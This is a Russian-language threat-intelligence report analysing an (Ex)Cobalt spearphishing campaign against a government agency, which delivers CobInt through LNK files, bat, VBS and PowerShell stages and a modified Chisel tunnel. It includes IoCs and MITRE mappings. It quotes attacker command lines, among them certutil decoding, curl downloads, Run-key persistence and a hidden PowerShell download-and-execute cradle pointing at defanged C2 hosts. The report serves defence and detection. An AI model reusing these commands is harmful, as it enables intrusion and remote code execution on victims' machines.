В ходе расследования недавней атаки на одно из государственных учреждений мы обнаружили новые индикаторы, которые с высокой долей вероятности можно атрибутировать преступной группировке (Ex)Cobalt (также известной как Comet/Shadow/Twelve). Группировка ранее преследовала финансовую выгоду, но затем сменила вектор и стала заниматься атаками, свойственными кибершпионам. В ноябре 2023 г. коллеги из ИБ-отрасли опубликовали детальный разбор атак (Ex)Cobalt за год. Мы тоже видели их на протяжении всего года, но в этой статье решили сфокусироваться на описании конкретного случая заражения крупного госучреждения вредоносным модулем CobInt, который произошел в первой половине декабря.

В статье мы расскажем, как злоумышленники использовали новую сетевую инфраструктуру и измененную технику развертывания главной вредоносной нагрузки. Также нам удалось обнаружить несколько недавно зарегистрированных доменов, имеющих отдаленную связь с группировкой: они пока не использовались в атаках, но требуют пристального внимания, так как могут быть задействованы злоумышленниками в ближайшем будущем.



Первичный вектор заражения

В процессе исследования атаки на заказчика мы обнаружили фишинговые письма с прикрепленными архивами «Согласование сценария.rar», «Сценарий.rar». Внутри архивов находились LNK-файлы «Document_Microsoft_Word.lnk», в которых была применена любопытная техника. В overlay ярлыков содержится base64-кодированный bat-скрипт, который декодируется certutil и запускается.

Образец Document_Microsoft_Word.lnk (MD5: 375a82ae45a8041fc02a648f19154501) указывает на оболочку командной строки C:\Windows\SysWOW64\cmd.exe и имеет следующие аргументы для запуска:

	
Arguments: /v /c set c="%cd%\ Document_Microsoft_Word.lnk"&(if not exist "!c!" (for /f "tokens=*" %l in ('where /r "%localappdata%" Document_Microsoft_Word.?nk') do set c=%l))&>nul set e=t&set h=b&set q=%temp%& cer!e!util -decode "!c!" !q!\ yoedfeyeoid .!h!at&start /b !q!\yoedfeyeoid 
	

С ее помощью извлекается и запускается скрипт yoedfeyeoid.bat.

В образце Document_Microsoft_Word.lnk (MD5: 3de34143d90ad3d74ae2c82d91f5ca42) указывается оболочка командной строки C:\Windows\SysWOW64\cmd.exe и имеются немного иные аргументы для запуска:

		Arguments: /v /c set d="%cd%\Document_Microsoft_Word.lnk"&(if not exist "!d!" (for /f "tokens=*" %s in ('where /r "%localappdata%" Document_Microsoft_Word.l?k') do set d=%s))&>nul set u=c&set p=b&set t=%temp%&!u! ertutil -decode "!d!" !t!\hutpjsav.!p!at&start /b !t!\hutpjsav 
	

Но результат тот же – извлечение и запуск скрипта hutpjsav.bat, который является первой стадией атаки после заражения через LNK-файл.

Общая схема атаки выглядит одинаково во всех изученных нами случаях. Рассмотрим ее на примере архива «Сценарий.rar» (MD5: 1c2c01c22712e0ed3444b5aae5c5dfac), который жертва получила по электронной почте:

Схема Coblnt

Далее мы подробнее изучим цепочку событий, произошедших после запуска LNK-файла.



I стадия. Bat-скрипт

Извлекаемый bat-скрипт содержит в себе base64-кодированные строки, из которых собираются скрипты VBS (Visual Basic Script) и PS (PowerShell), а также docx-приманка (%TEMP%\Document_Microsoft_Word.docx). Для их сборки используется текстовый файл, который загружается с предположительно взломанного веб-сайта (hxxps://aquatech72[.]ru). Файл задает правила конкатенации строк для корректного составления вышеупомянутых файлов, используемых для следующих стадий:

	 
curl.exe "https://aquatech72[.]ru/ebboyeewf.txt" -o %mrb%>nul

curl.exe "https://aquatech72[.]ru/yyiygui.txt" -o %unc%>nul

Команды для загрузки текстового файла, определяющего сборку скриптов

Base64-кодированные строки, имеющиеся в bat-скрипте, извлекаются с использованием утилиты certutil.exe.

Bat-скрипт также осуществляет закрепление извлеченных скриптов VBS и PS в ключе реестра по адресу HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Наименование ключа – «XboxGamingOveray», его значение – «C:\WINDOWS\System32\wscript.exe C:\ProgramData\Packagr\XboxGamingOverlay.vbs C:\ProgramData\Packagr\».

Также в процессе исследования мы увидели другой ключ реестра – «Dathanges» – со значением «wscript.exe C:\ProgramData\Packagd\XboxGamingOverlay.vbs».

После успешной сборки следующих стадий осуществляется запуск VBS-скрипта, который, в свою очередь, запускает собранный PowerShell.

Общий вид bat-скрипта
Общий вид bat-скрипта


II стадия. VBS-скрипт

Вторая стадия представляет собой небольшой скрипт, единственное назначение которого – запуск ранее собранного PowerShell-скрипта следующей командой (после деобфускации):

	
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -ex bypass -NvLogo -NonInteractive -NoProfile -WindowStyle Hidden -File "XboxGamingOverlay.ps1"
	 


III стадия. PowerShell-скрипт

Обфусцированные PowerShell-скрипты загружают в память вредоносный модуль CobInt и запускают его. Имеются две версии CobInt – x86 и x64, – они обе загружаются с одного и того же удаленного сервера: hxxps://netstaticpoints[.]com. На момент исследования нагрузка была недоступна, но, основываясь на характерном шелл-коде, который мы ранее уже исследовали и который в том случае предназначался для загрузчика CobInt, можно предположить, что и здесь основной нагрузкой с высокой долей вероятности был именно CobInt.

Атаки с использованием CobInt в индустрии атрибутируются группировке Cobalt, детальное описание самого вредоносного модуля было ранее опубликовано экспертами из ИБ-сообщества.

Характерная обфускация PowerShell-скрипта
Характерная обфускация PowerShell-скрипта


Анализ файлов LNK и поиск аналогичных образцов

Файлы ярлыков являются кладезем информации для исследователя, так как содержат множество полезных метаданных, таких как MAC-адрес девайса, на котором файл был создан. По итогам анализа двух файлов Document_Microsoft_Word.lnk, полученных в ходе нашего расследования, было установлено, что они созданы на одном и том же хосте в одно и то же время:

	
Drive type: Fixed storage media (Hard drive)
Serial number: BAF595C8

Machine ID:  laptop-fj0h336p
MAC Address: 98:43:fa:4a:9d:be
MAC Vendor:  (Unknown vendor)
Creation:    2023-11-15 09:06:39

Volume Droid:       35ed6538-2cde-46bc-a3a8-2414e4c1c6cd
Volume Droid Birth: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd
File Droid:         496b729b-8396-11ee-9a39-9843fa4a9dbe
File Droid birth:   496b729b-8396-11ee-9a39-9843fa4a9dbe

В результате поиска по открытым источникам мы обнаружили файл «Zapros_13-2-16442-upr_ot_25_08_2023.lnk» (MD5: 0da63b385b2b6650dd6acf3b511e5ac8) с таким же Machine ID (laptop-fj0h336p). Он ранее был замечен и упомянут коллегами из ИБ-отрасли в контексте описания активности (Ex)Cobalt. При этом схема извлечения полезной нагрузки и запуска CobInt в расследуемом нами инциденте была изменена наряду с сетевой инфраструктурой.

Аналогичным образом был обнаружен еще один файл «CamScanner_24.11.2023_10.32.lnk» (MD5: 939cc38ef64a3e5148d889fa4423d464) и содержащий его архив «DOC009_2.rar». Детальная информация по всем описываемым файлам может быть найдена в секции IoC.



Другие файлы, участвовавшие в атаке

В процессе атаки также использовались легитимные файлы dism.exe (MD5: 472646bd684bcaac510be7f65f9a08ab), которые предположительно были нужны для эксплуатации техники DLL Sideloading:

  • C:\Intel\dism.exe
  • C:\Intel\Log\dism.exe
  • C:\hp\dism.exe

Также в атаке участвовали файлы, о которых нам известны только имена и SHA256 хеш-суммы, приведенные в разделе индикаторов. Примечательно, что имена файлов отсылают к продуктам Kaspersky и эта техника мимикрирования ранее уже была замечена за группировкой (Ex)Cobalt:

  • C:\hp\bec.exe
  • C:\hp\kas.exe
  • C:\hp\kis.exe
  • C:\hp\new.exe
  • C:\hp\prt.exe
  • C:\hp\prt2.exe

Среди этих файлов есть один, к которому мы получили доступ – C:\hp\kasi.exe. Он представляет собой модифицированную версию утилиты Chisel с открытым исходным кодом для создания TCP/UDP-туннелей через HTTP.

Модификации главным образом коснулись ее адаптации для использования в атаке:

  • был оставлен только клиент, убрана серверная составляющая утилиты;
  • для запуска оригинальной утилиты нужно указывать адрес С2-сервера в аргументах командной строки, злоумышленники встроили эти аргументы в саму утилиту;
  • изменены имена функций, при этом строки не обфусцированы (C2 не зашифрован и хранится в открытом виде);
  • убрана функция generatePidFile, чтобы не привлекать лишнее внимание созданием файла с PID процесса утилиты;
  • убраны все строки с комментариями в коде.
аргументы командной строки
Встроенные аргументы командной строки «88.218.62[.]79:443» «R:9050:socks»

В скомпрометированной системе также был обнаружен скрипт 1.bat, который использовался для загрузки PowerShell-скрипта 004.ps1 с удаленного сервера techcname[.]com.

		 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -w hidden -c iex ((New-Object Net.WebClient).DownloadString('hxxps://techcname[.]com/004.ps1'))
	

При этом хеш-суммы загружаемого скрипта совпадают с хеш-суммами ранее проанализированного файла «\Packagd\XboxGamingOverlay.ps1». Мы полагаем, что это альтернативный вектор, который злоумышленники использовали для повторного заражения в ручном режиме.



Анализ сетевых индикаторов

Мы изучили серверы, используемые в исследованной атаке:

Domain

IP

Reg. date

First seen

netstaticpoints[.]com

45.11.181[.]152

2023-11-23

2023-11-23

techcname[.]com

172.67.190[.]233
104.21.84[.]96

2023-11-23

2023-11-23

Оба домена зарегистрированы спустя неделю после выхода отчета о группировке, что могло сподвигнуть ее на перемещение своих ресурсов.

На момент исследования оба сервера еще были активны.

Примечательно, что домены были зарегистрированы с помощью регистратора Namecheap практически в одно и то же время с разницей в 4 секунды. Мы проанализировали другие домены, зарегистрированные в Namecheap примерно в то же время, и нашли несколько подозрительных:

Domain

Registration date

techcname[.]com

2023-11-23 12:18:22

netstaticpoints[.]com

2023-11-23 12:18:26

swift-notice[.]store     

2023-11-23 12:18:32

swift-notice[.]online    

2023-11-23 12:18:38

swift-notice[.]xyz       

2023-11-23 12:18:45

swift-notice[.]space

2023-11-23 12:18:47

swift-notice[.]site      

2023-11-23 12:18:51

На момент написания отчета найденные домены были припаркованы, но пока не введены в эксплуатацию. Их нельзя напрямую атрибутировать к (Ex)Cobalt, и вероятность их причастности именно к этой группировке мы оцениваем как низкую, тем не менее эти домены требуют мониторинга на предмет потенциальной вредоносной активности.



Заключение

Исследованный нами инцидент в очередной раз доказывает важность использования проактивных средств защиты, не привязанных к конкретным индикаторам, которые могут быть изменены злоумышленниками уже в следующей атаке. Группировка (Ex)Cobalt по-прежнему активна и имеет особый интерес к государственным учреждениям в России. И вряд ли такие атаки прекратятся в ближайшее время.

В отчете мы предоставили список дополнительных индикаторов, которые продолжим отслеживать на предмет появления потенциальной вредоносной активности.



IoC

Файловые индикаторы

Путь

MD5

SHA1

SHA256

Согласование сценария.rar

8773ce3c1e4000f6db41a7bf0da625ad

052d62da71a71c2ce5a5cadfbec02649c9117c43

ce818ad10e625fa12f5d8ad4ad78bf73b8b445d996cc11ed17ef98878ec7666f

Сценарий.rar

1c2c01c22712e0ed3444b5aae5c5dfac

0920fd89fd4277b918e337e52ecf751606341815

7f6e30b0246ccfeb0c0925c7192235ddc99d46e0b07404a939b57e68819597e1

Document_Microsoft_Word.lnk

375a82ae45a8041fc02a648f19154501

409209b69ccc95a79ee1848bc5df8834b01b9aed

b4320f83607fb0e49d75bd8a867c52b672e24bb535c053c3fb401d6e45b2bd3b

Document_Microsoft_Word.lnk

3de34143d90ad3d74ae2c82d91f5ca42

3a5dc97a27a31f7077d6c6551269f7632f307162

30692be59256158f95888f11c0ff67807c3cd734448daf7b62832e4d02ffe869

C:\Users\«Username»\AppData\Local\Temp\hutpjsav.bat

4a40da404e486ac0e676e651a25e8389

e7756eaf52ef16640742810581059cb54b04c6a8

b8ff94ea1ad2c8d8c9fa7581dee0ad23ded73de7ef3fba123cdfa84b39581143

C:\Users\«Username»\AppData\Local\Temp\yoedfeyeoid.bat

831c266619f229075fc3660e144de50b

a81f1a2efa4a8898c1694b3a3a4699e9cb87347e

898252ae7eea656cfbd7337efc3066ecf9fc3ac4211ddffdd386a95adcd659cf

004.ps1, C:\ProgramData\Intell\Intellpui.ps1, C:\ProgramData\Packagd\XboxGamingOverlay.ps1

56665014a0e5b3d58b363e01e83b3f9f

73dae2c0f466bdfc54c15f83a50d168943240152

46dfa8948537057c2f5ae881582b83678eb18965155de24cb632cbb1a7298060

C:\ProgramData\Packagr\XboxGamingOverlay.ps1

6eaf7f630e11a9f78cbe31d2d22858df

538cce6325be62f533894b77d1e4cb9ae2a0cadd

3adcf119aaaa93ed795d6d5685bb891a4054f056723e72574c48a95a78eca122

C:\ProgramData\Intell\Intellpui.vbs

ce2c6a4dd0a79a9e89b2c3195eee6727

8337e1b0abcc1b195d69ade0f7edadf8fb418cda

14e5723d246fcf50a05cdfd6a1bb0e30ca4aca65938c98fcaced6a8f5c886596

C:\hp\kasi.exe

5fc4eef37ec583caac5a71918984af53

630bab1432c0224c111cf81686d284d81ce35b1f

7283a99550bb7806fd416e773baa2c542149ccb8d55e7e3d6f06d066681d7d06

C:\hp\bec.exe

-

-

fef8828f4a0174f146ee4de9bac9a2c085dcd1984c98b65e54ec5c0692187bf0

C:\hp\kas.exe

-

-

d11def8ac9f3af92c4e67e72e3da4fb2ae36dca4f34661ee5c03ff3f7330655a

C:\hp\kis.exe

-

-

a12c3ba6ae64af819f26bd82401dc9d65bc71fe3ba3889eeefc636af39511288

C:\hp\new.exe

-

-

2e2476242a182e334d28388ffa432cd7c79cc5fbcfd230de75cd3e5717088de5

C:\hp\prt.exe

-

-

390dd5ec458cc289b9498313d8b74d6f2c84407c2539b745950cfd9d59f608a1

C:\hp\prt2.exe

-

-

d47eb1f6a3a03e7240462f41250c6df37f73889639c34a46ce965513b6cb0a63


 Zapros_13-2-16442-upr_ot_25_08_2023.zip

f84e409b4ca80e349a19fa7555177379

36f05bc39cac762fc2afd1e8444efb35f78dc97e

723a1240e7042c87e3ca749335d9d525da566eccc0113cd5fecb92e6cc2a4552

Zapros_13-2-16442-upr_ot_25_08_2023.lnk

0da63b385b2b6650dd6acf3b511e5ac8

d90e2acca4af042fe8a76f428af6ca742224409d

ec825d1321ad1d2f819c83301c5ff1970192d45b017a53177507f5e7716bceb8

LetsIntell___.ps1, LetsIntell.ps1

d5dbce918c46e9f86a35be2893c9efb2

2bc2b4eb37d91969f031deddac51ec0e25d9fcc7

7a6c75d038d7a47f87a3694bb9718b1e97a2b4aa8a9ac0fe24eeb074fd043b5c


 CamScanner_24.11.2023_10.32.lnk

939cc38ef64a3e5148d889fa4423d464

583662360a3a3d400a6af62032800dae738555f7

8df4252241140c36fc7e5042de7fcf3544572dfc8fdc04f054559efd32d6c710

DOC009_2.rar

d3bb9583db450daa24f50afcea474ddc

f4f1895bce5194e26b1a8f8dc02400f8aebc1a1d

24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b


Сетевые индикаторы

Индикатор

Описание

88.218.62[.]79

Командный адрес прокси Chisel

aquatech72[.]ru

Предположительно взломанный ресурс, откуда загружается txt для правильной сборки скриптов

netstaticpoints[.]com

Командный сервер, на который обращаются ps1-скрипты для получения CobInt, а также предположительно командный сервер для CobInt

techcname[.]com

Командный сервер, откуда загружался файл 004.ps1

MITRE TTPs

Тактика

Техника

Описание

Initial Access

Phishing: Spearphishing Attachment

ID: T1566.001

Проникновение через фишинг с вложениями

Execution

User Execution: Malicious File
ID: T1204.002

Выполнение нагрузки требует запуска lnk-файла пользователем

Command and Scripting Interpreter: PowerShell

ID: T1059.001

Применение PowerShell-скриптов

Command and Scripting Interpreter: Visual Basic

ID: T1059.005

Применение скриптов Visual-Basic

Command and Scripting Interpreter: Windows Command Shell

ID: T1059.003

Применение командных bat-скриптов

Persistence

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

ID: T1547.001

Закрепление с использованием \Run-ключей

Defense Evasion

Obfuscated Files or Information: Command Obfuscation

ID: T1027.010

Обфускация строк и команд в скриптах

Deobfuscate/Decode Files or Information

ID: T1140

Использование certutil, кодирование данных скриптов

Hijack Execution Flow: DLL Side-Loading

ID: T1574.002

Использование dism.exe для выполнения ВПО

Command and Control

Application Layer Protocol: Web Protocols

ID: T1071.001

Запросы на командные адреса с использованием HTTPS

Ingress Tool Transfer

ID: T1105

Использование curl для загрузки с командного адреса файлов

Proxy

ID: T1090

Использование модифицированной программы-прокси Chisel